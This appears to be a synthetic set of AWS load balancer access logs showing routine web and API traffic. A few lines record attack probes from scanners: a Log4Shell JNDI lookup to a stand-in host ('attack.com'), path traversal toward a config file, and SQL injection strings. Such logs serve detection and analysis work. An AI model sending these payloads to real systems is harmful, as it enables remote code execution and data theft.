arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d12a-70cbb4db7c9f42a9a6401068" "prod-web-alb.example.com" "-" 0 2024-11-01T01:49:14.220320Z "forward" "-" "-" "10.0.124.66:443" "301" "-" "-" +https 2024-11-01T01:49:14.442084Z prod-api-alb 132.83.166.8:53642 10.0.225.160:443 0.038301 0.195949 0.042441 404 404 721 3608 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d12a-7f7dd32106eb4709a173b3b3" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:14.442084Z "forward" "-" "-" "10.0.225.160:443" "404" "-" "-" +https 2024-11-01T01:49:15.542669Z prod-api-alb 71.146.3.66:31362 10.0.137.197:443 0.034466 0.128317 0.032189 404 404 253 13949 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d12b-a71e7220602a44a08b76b476" "prod-api-alb.example.com" "-" 1 2024-11-01T01:49:15.542669Z "forward" "-" "-" "10.0.137.197:443" "404" "-" "-" +https 2024-11-01T01:49:16.521159Z prod-web-alb 105.55.118.11:60878 10.0.127.174:443 0.002075 0.401384 0.037707 200 200 581 8885 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d12c-334e4d2da9024b08a7408dc6" "prod-web-alb.example.com" "-" 1 2024-11-01T01:49:16.521159Z "forward" "-" "-" "10.0.127.174:443" "200" "-" "-" +https 2024-11-01T01:49:17.266686Z prod-web-alb 249.252.14.102:25865 10.0.57.176:443 0.062847 0.486230 0.081657 200 200 222 6980 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d12d-86535c0e30c8477aa8106837" "prod-web-alb.example.com" "-" 10 2024-11-01T01:49:17.266686Z "forward" "-" "-" "10.0.57.176:443" "200" "-" "-" +https 2024-11-01T01:49:17.841709Z staging-alb 187.254.122.225:39636 41.153.153.90:80 0.073062 0.359988 0.088149 200 200 409 14110 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d12d-6b0094278bad4d879da11dae" "staging-alb.example.com" "-" 3 2024-11-01T01:49:17.841709Z "forward" "-" "-" "41.153.153.90:80" "200" "-" "-" +http 2024-11-01T01:49:19.711501Z staging-alb 198.19.179.44:21133 155.176.85.174:8080 0.052000 0.604475 0.074859 301 301 445 10946 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d12f-a371896768714b0ca71da20e" "staging-alb.example.com" "-" 4 2024-11-01T01:49:19.711501Z "forward" "-" "-" "155.176.85.174:8080" "301" "-" "-" +https 2024-11-01T01:49:21.022761Z prod-api-alb 22.199.220.62:13409 10.0.153.203:443 0.080558 0.299132 0.001911 301 301 7 3422 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d131-ef0ef2cbc7734519876e1013" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:21.022761Z "forward" "-" "-" "10.0.153.203:443" "301" "-" "-" +https 2024-11-01T01:49:21.887018Z prod-api-alb 72.191.56.223:36562 10.0.24.67:443 0.072885 0.017320 0.040549 301 301 747 6344 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d131-2c1bb765a0e249c78524e6c8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:49:21.887018Z "forward" "-" "-" "10.0.24.67:443" "301" "-" "-" +https 2024-11-01T01:49:23.278660Z prod-api-alb 214.147.17.156:38608 10.0.117.81:443 0.053066 0.259818 0.046955 200 200 862 12050 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d133-75556b77c6d64161806566ce" "prod-api-alb.example.com" "-" 9 2024-11-01T01:49:23.278660Z "forward" "-" "-" "10.0.117.81:443" "200" "-" "-" +https 2024-11-01T01:49:24.953904Z prod-api-alb 134.53.93.176:35664 10.0.2.215:443 0.002773 0.379835 0.015653 200 200 824 13186 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d134-cd9f05fb7dd8428c81d8b929" "-" "-" 10 2024-11-01T01:49:24.953904Z "forward" "-" "-" "10.0.2.215:443" "200" "-" "-" +https 2024-11-01T01:49:25.370213Z prod-api-alb 215.42.82.121:24674 10.0.212.183:443 0.015955 0.427092 0.051663 200 200 85 2549 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d135-8af0a79c3fb6437b99e5071d" "prod-api-alb.example.com" "-" 0 2024-11-01T01:49:25.370213Z "forward" "-" "-" "10.0.212.183:443" "200" "-" "-" +https 2024-11-01T01:49:27.330602Z prod-api-alb 56.142.187.174:34184 10.0.205.27:443 0.055032 0.103772 0.024453 301 301 854 4934 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d137-f66ae9af750343849026a0cb" "prod-api-alb.example.com" "-" 3 2024-11-01T01:49:27.330602Z "forward" "-" "-" "10.0.205.27:443" "301" "-" "-" +https 2024-11-01T01:49:28.752744Z prod-api-alb 179.76.177.161:33679 10.0.9.139:443 0.068746 0.170650 0.072590 301 301 640 10982 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d138-4f2369b1568d47169dbc25c8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:49:28.752744Z "forward" "-" "-" "10.0.9.139:443" "301" "-" "-" +https 2024-11-01T01:49:30.454380Z prod-api-alb 253.24.81.107:21813 10.0.33.208:443 0.098565 0.163143 0.045663 301 301 587 13450 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d13a-03f605d23ac14ca8aec61f14" "prod-api-alb.example.com" "-" 3 2024-11-01T01:49:30.454380Z "forward" "-" "-" "10.0.33.208:443" "301" "-" "-" +http 2024-11-01T01:49:31.710539Z staging-alb 144.136.84.50:53944 26.119.57.115:8080 0.066289 0.654339 0.072925 404 404 446 11888 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d13b-2bb552e4945142878f2cc518" "staging-alb.example.com" "-" 5 2024-11-01T01:49:31.710539Z "forward" "-" "-" "26.119.57.115:8080" "404" "-" "-" +https 2024-11-01T01:49:32.564831Z staging-alb 126.44.1.122:43751 70.154.54.255:80 0.067947 0.311617 0.128643 302 302 411 4845 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d13c-6c3d687017b843f6acae109c" "staging-alb.example.com" "-" 8 2024-11-01T01:49:32.564831Z "forward" "-" "-" "70.154.54.255:80" "302" "-" "-" +https 2024-11-01T01:49:33.272706Z prod-api-alb 49.168.84.119:25944 10.0.227.112:443 0.020906 0.018515 0.028420 200 200 187 11892 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d13d-c965a6b2990b40878f4d1b34" "prod-api-alb.example.com" "-" 6 2024-11-01T01:49:33.272706Z "forward" "-" "-" "10.0.227.112:443" "200" "-" "-" +http 2024-11-01T01:49:34.945891Z staging-alb 115.150.173.12:11129 8.44.207.108:443 0.051031 0.713799 0.121611 200 200 843 13126 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d13e-725a6396202d49f690d382aa" "staging-alb.example.com" "-" 5 2024-11-01T01:49:34.945891Z "forward" "-" "-" "8.44.207.108:443" "200" "-" "-" +https 2024-11-01T01:49:36.434280Z prod-api-alb 45.155.205.9:23245 10.0.183.169:443 0.030656 0.461124 0.044714 404 404 4 11518 "POST /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d140-dac78d2d597d405d94f8836a" "-" "-" 10 2024-11-01T01:49:36.434280Z "forward" "-" "-" "10.0.183.169:443" "404" "-" "-" +https 2024-11-01T01:49:37.203551Z prod-api-alb 3.102.221.87:32103 10.0.31.78:443 0.021234 0.421458 0.048799 200 200 862 9012 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d141-c4b90fc7e91b46d082ad8c94" "prod-api-alb.example.com" "-" 6 2024-11-01T01:49:37.203551Z "forward" "-" "-" "10.0.31.78:443" "200" "-" "-" +http 2024-11-01T01:49:37.563155Z staging-alb 45.155.205.51:59484 186.97.192.135:8080 0.129458 0.666161 0.080890 404 404 476 946 "GET /api/../../../config HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d141-7bc74bb20c874b8988274066" "-" "-" 9 2024-11-01T01:49:37.563155Z "forward" "-" "-" "186.97.192.135:8080" "404" "-" "-" +http 2024-11-01T01:49:38.842678Z staging-alb 216.62.163.82:17681 36.93.242.123:80 0.068707 0.377439 0.100969 200 200 574 4396 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d142-4df5d081792a428b998204a7" "staging-alb.example.com" "-" 10 2024-11-01T01:49:38.842678Z "forward" "-" "-" "36.93.242.123:80" "200" "-" "-" +https 2024-11-01T01:49:40.297372Z staging-alb 204.187.215.103:27306 212.217.27.57:8080 0.118003 0.646727 0.102765 200 200 121 5678 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d144-fccad1a1ea2743ad8c627003" "staging-alb.example.com" "-" 5 2024-11-01T01:49:40.297372Z "forward" "-" "-" "212.217.27.57:8080" "200" "-" "-" +https 2024-11-01T01:49:40.907130Z prod-api-alb 193.27.228.82:31867 10.0.76.159:443 0.051826 0.062393 0.094788 500 500 68 7190 "GET /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d144-2b33c66f7cb84da3baf98943" "-" "-" 8 2024-11-01T01:49:40.907130Z "forward" "-" "-" "10.0.76.159:443" "500" "-" "-" +https 2024-11-01T01:49:41.679106Z prod-api-alb 247.211.34.11:16875 10.0.96.144:443 0.061576 0.212960 0.004423 302 302 288 10284 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d145-571c617b720544afbdb49f68" "prod-api-alb.example.com" "-" 7 2024-11-01T01:49:41.679106Z "forward" "-" "-" "10.0.96.144:443" "302" "-" "-" +https 2024-11-01T01:49:42.136136Z prod-web-alb 125.101.146.33:61014 10.0.141.110:443 0.064094 0.153427 0.069326 301 301 703 12586 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d146-726474cfa0dc42069d685869" "prod-web-alb.example.com" "-" 2 2024-11-01T01:49:42.136136Z "forward" "-" "-" "10.0.141.110:443" "301" "-" "-" +https 2024-11-01T01:49:42.489255Z prod-api-alb 237.83.45.143:25783 10.0.105.118:443 0.094169 0.304080 0.083183 200 200 938 13878 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d146-a7f391bf006b4abdb58f2128" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:42.489255Z "forward" "-" "-" "10.0.105.118:443" "200" "-" "-" +http 2024-11-01T01:49:42.622964Z staging-alb 180.189.208.216:59934 15.100.28.95:80 0.004757 0.532651 0.071972 200 200 257 13367 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d146-cd8057e914ff48fc8b278246" "staging-alb.example.com" "-" 10 2024-11-01T01:49:42.622964Z "forward" "-" "-" "15.100.28.95:80" "200" "-" "-" +https 2024-11-01T01:49:43.179908Z prod-web-alb 239.144.64.204:41261 10.0.100.238:443 0.033330 0.491163 0.005268 404 404 281 10077 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d147-1543999cf7ea42b2ac0b5a39" "prod-web-alb.example.com" "-" 5 2024-11-01T01:49:43.179908Z "forward" "-" "-" "10.0.100.238:443" "404" "-" "-" +https 2024-11-01T01:49:43.925419Z staging-alb 231.149.176.176:18377 84.179.85.147:443 0.073889 0.708156 0.008150 404 404 791 10646 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d147-e5ce5d2a282b4576aabee028" "-" "-" 5 2024-11-01T01:49:43.925419Z "forward" "-" "-" "84.179.85.147:443" "404" "-" "-" +https 2024-11-01T01:49:44.290262Z prod-web-alb 175.65.254.204:18599 10.0.126.157:443 0.061114 0.270894 0.061457 200 200 581 877 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d148-363ec76165ee4e7a811f3b24" "prod-web-alb.example.com" "-" 2 2024-11-01T01:49:44.290262Z "forward" "-" "-" "10.0.126.157:443" "200" "-" "-" +http 2024-11-01T01:49:45.723035Z staging-alb 88.62.45.168:60561 67.97.63.170:443 0.083296 0.022449 0.036727 404 404 51 8827 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d149-84f46074c0094e1898e7ecd3" "staging-alb.example.com" "-" 2 2024-11-01T01:49:45.723035Z "forward" "-" "-" "67.97.63.170:443" "404" "-" "-" +https 2024-11-01T01:49:47.175407Z prod-web-alb 49.136.79.170:29789 10.0.210.78:443 0.013545 0.308155 0.092958 200 200 37 1122 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d14b-19b82894b45a4463add6befa" "prod-web-alb.example.com" "-" 0 2024-11-01T01:49:47.175407Z "forward" "-" "-" "10.0.210.78:443" "200" "-" "-" +https 2024-11-01T01:49:47.969119Z prod-api-alb 22.192.234.135:35492 10.0.237.104:443 0.032109 0.170866 0.034182 404 404 646 2169 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d14b-ab0591ee67dc4b5d9ede874c" "prod-api-alb.example.com" "-" 4 2024-11-01T01:49:47.969119Z "forward" "-" "-" "10.0.237.104:443" "404" "-" "-" +https 2024-11-01T01:49:48.151536Z prod-api-alb 237.96.21.197:58263 10.0.141.149:443 0.013134 0.106530 0.011205 302 302 469 10153 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d14c-e054281eb9134982bcabd43f" "prod-api-alb.example.com" "-" 7 2024-11-01T01:49:48.151536Z "forward" "-" "-" "10.0.141.149:443" "302" "-" "-" +https 2024-11-01T01:49:49.942438Z staging-alb 31.0.211.180:48951 23.16.243.142:8080 0.058084 0.148281 0.045436 200 200 316 6391 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d14d-e7f121950b7f4b20a0a8c793" "staging-alb.example.com" "-" 5 2024-11-01T01:49:49.942438Z "forward" "-" "-" "23.16.243.142:8080" "200" "-" "-" +https 2024-11-01T01:49:50.093749Z prod-web-alb 41.244.212.196:43675 10.0.25.49:443 0.008372 0.125629 0.036417 200 200 815 14638 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d14e-0a5199cc7ec34c27b001c0a2" "prod-web-alb.example.com" "-" 5 2024-11-01T01:49:50.093749Z "forward" "-" "-" "10.0.25.49:443" "200" "-" "-" +https 2024-11-01T01:49:50.406313Z prod-web-alb 18.122.111.77:29505 10.0.248.177:443 0.007350 0.159072 0.069982 302 302 516 325 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d14e-7974cfbf13904ed582f0c968" "prod-web-alb.example.com" "-" 10 2024-11-01T01:49:50.406313Z "forward" "-" "-" "10.0.248.177:443" "302" "-" "-" +https 2024-11-01T01:49:51.111207Z prod-web-alb 193.27.228.8:24098 10.0.43.155:443 0.078672 0.469861 0.094916 403 403 182 6193 "POST /search?q=1' UNION SELECT HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d14f-bb206781e33e446c9d01c0e0" "-" "-" 6 2024-11-01T01:49:51.111207Z "forward" "-" "-" "10.0.43.155:443" "403" "-" "-" +http 2024-11-01T01:49:52.671170Z staging-alb 74.105.218.203:11457 147.141.243.144:443 0.085447 0.265397 0.069852 200 200 34 929 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d150-678836beb98946d9b74c9647" "staging-alb.example.com" "-" 9 2024-11-01T01:49:52.671170Z "forward" "-" "-" "147.141.243.144:443" "200" "-" "-" +https 2024-11-01T01:49:52.934530Z prod-api-alb 187.144.166.15:15459 10.0.158.164:443 0.088412 0.134260 0.057008 200 200 92 3065 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d150-90dac1e103dd42cf8381a9ae" "prod-api-alb.example.com" "-" 10 2024-11-01T01:49:52.934530Z "forward" "-" "-" "10.0.158.164:443" "200" "-" "-" +http 2024-11-01T01:49:54.484084Z staging-alb 67.94.38.127:53776 25.200.9.50:443 0.109515 0.139634 0.031952 302 302 259 7612 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d152-71a5216cb0474313bb973bc6" "staging-alb.example.com" "-" 9 2024-11-01T01:49:54.484084Z "forward" "-" "-" "25.200.9.50:443" "302" "-" "-" +https 2024-11-01T01:49:55.589649Z prod-api-alb 190.218.229.180:38796 10.0.234.242:443 0.064259 0.201841 0.061484 301 301 35 12979 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d153-38076af33cb9418ba7d8d493" "prod-api-alb.example.com" "-" 1 2024-11-01T01:49:55.589649Z "forward" "-" "-" "10.0.234.242:443" "301" "-" "-" +https 2024-11-01T01:49:57.403686Z prod-api-alb 219.38.185.179:22181 10.0.11.142:443 0.036517 0.267944 0.098797 404 404 929 7179 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d155-2c0c95b927c847d1bc8cc5fe" "prod-api-alb.example.com" "-" 5 2024-11-01T01:49:57.403686Z "forward" "-" "-" "10.0.11.142:443" "404" "-" "-" +https 2024-11-01T01:49:57.923042Z prod-web-alb 151.195.146.159:45679 10.0.9.135:443 0.027989 0.167267 0.074333 200 200 279 4547 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d155-f1d8a2dbefa44e5694f0d925" "prod-web-alb.example.com" "-" 0 2024-11-01T01:49:57.923042Z "forward" "-" "-" "10.0.9.135:443" "200" "-" "-" +http 2024-11-01T01:49:58.934824Z staging-alb 88.250.173.66:55131 19.68.99.183:443 0.003946 0.491098 0.146555 200 200 679 6630 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d156-89b63503c15d46b58beb5f77" "staging-alb.example.com" "-" 1 2024-11-01T01:49:58.934824Z "forward" "-" "-" "19.68.99.183:443" "200" "-" "-" +https 2024-11-01T01:50:00.915596Z prod-web-alb 185.181.34.255:11393 10.0.49.46:443 0.014569 0.338959 0.019130 403 403 606 7307 "GET /api/../../../config HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d158-52db0f62052c43f1aba96a16" "-" "-" 1 2024-11-01T01:50:00.915596Z "forward" "-" "-" "10.0.49.46:443" "403" "-" "-" +https 2024-11-01T01:50:02.469068Z staging-alb 227.38.6.238:14490 39.99.20.52:443 0.031666 0.739720 0.062320 301 301 487 8863 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d15a-d2d1387e81f64083911cb5ff" "staging-alb.example.com" "-" 1 2024-11-01T01:50:02.469068Z "forward" "-" "-" "39.99.20.52:443" "301" "-" "-" +https 